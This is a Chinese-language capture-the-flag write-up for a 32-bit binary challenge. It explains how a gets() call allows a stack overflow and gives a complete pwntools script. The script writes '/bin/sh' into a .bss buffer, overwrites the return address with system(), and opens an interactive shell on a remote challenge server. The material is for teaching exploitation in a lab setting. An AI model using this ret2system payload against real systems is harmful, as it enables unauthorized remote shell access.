注意题目描述:菜鸡认为自己需要一个字符串。
显然应该要和字符串扯上关系,但是我们先一步步看题目。
首先跑 checksec 看看:
32 位程序,此时可以想到它传入的地址应该是 p32() 函数,以及它的函数调用栈框架。
丢到 ida pro 里,main 函数马上调用 hello() 然后在 hello() 获取姓名和留言,之后返回又跳回 main 函数输出 thankyou。
仔细发现,这里留言输入方式是 gets() 可以做栈溢出操作。在函数栈上 s 下面就是返回地址,是可行的。问题是要跳到哪里呢?
shift+f12 查找字符串,没看到 flag 倒是看到 echo 的字段,交叉引用后的函数没什么用, 得不到 flag。
然后想到能不能直接调用 system() 函数,然后传入命令给它呢?再回去看 name 位于 .bss 段,可以把 name 的地址作为 system 的参数传入。
那么就开始 pwn 吧:
因为地址很容易输错,加上我们附件已经有了二进制程序,我们可以用 pwntools 直接获得我们想要的地址。
首先使用 ELF 类读取 elf 文件。然后用 sym 方法获取地址:
1
2
3
4
|
elf = ELF("./53c24fc5522e4a8ea2d9ad0577196b2f")
systemAddr = elf.sym['system']
nameAddr = elf.sym['name']
mainAddr = elf.sym['main']
|
刚才检查函数栈可以知道 s 占 26 字节,后面 4 字节的 esp 之后就是返回地址了所以只需要b'a' * 0x26 + b'a' * 0x4 + p32(systemAddr) 就能跳转到 system 函数,对于 x86 ,函数会先有 4 字节的返回地址,而后才是参数。
我们要使用 name 写入我们想要的参数,所以我们需要知道 name 的地址,具体的攻击载荷如下:
1
|
payload = b'a' * 0x26 + b'a' * 0x4 + p32(systemAddr) + p32(mainAddr) + p32(nameAddr)
|
而后就是控制程序的操作:
1
2
3
4
5
|
p.recvuntil(b"please tell me your name")
p.sendline(b"/bin/sh")
p.recvuntil(b"hello,you can leave some message here:")
p.sendline(payload)
p.interactive()
|
完整 python 脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
p = remote("61.147.171.105", 60800)
elf = ELF("./53c24fc5522e4a8ea2d9ad0577196b2f")
systemAddr = elf.sym['system']
nameAddr = elf.sym['name']
mainAddr = elf.sym['main']
payload = b'a' * 0x26 + b'a' * 0x4 + p32(systemAddr) + p32(mainAddr) + p32(nameAddr)
p.recvuntil(b"please tell me your name")
p.sendline(b"/bin/sh")
p.recvuntil(b"hello,you can leave some message here:")
p.sendline(payload)
p.interactive()
|
写入后就可以获取 shell ,cat flag 就得到 flag 了。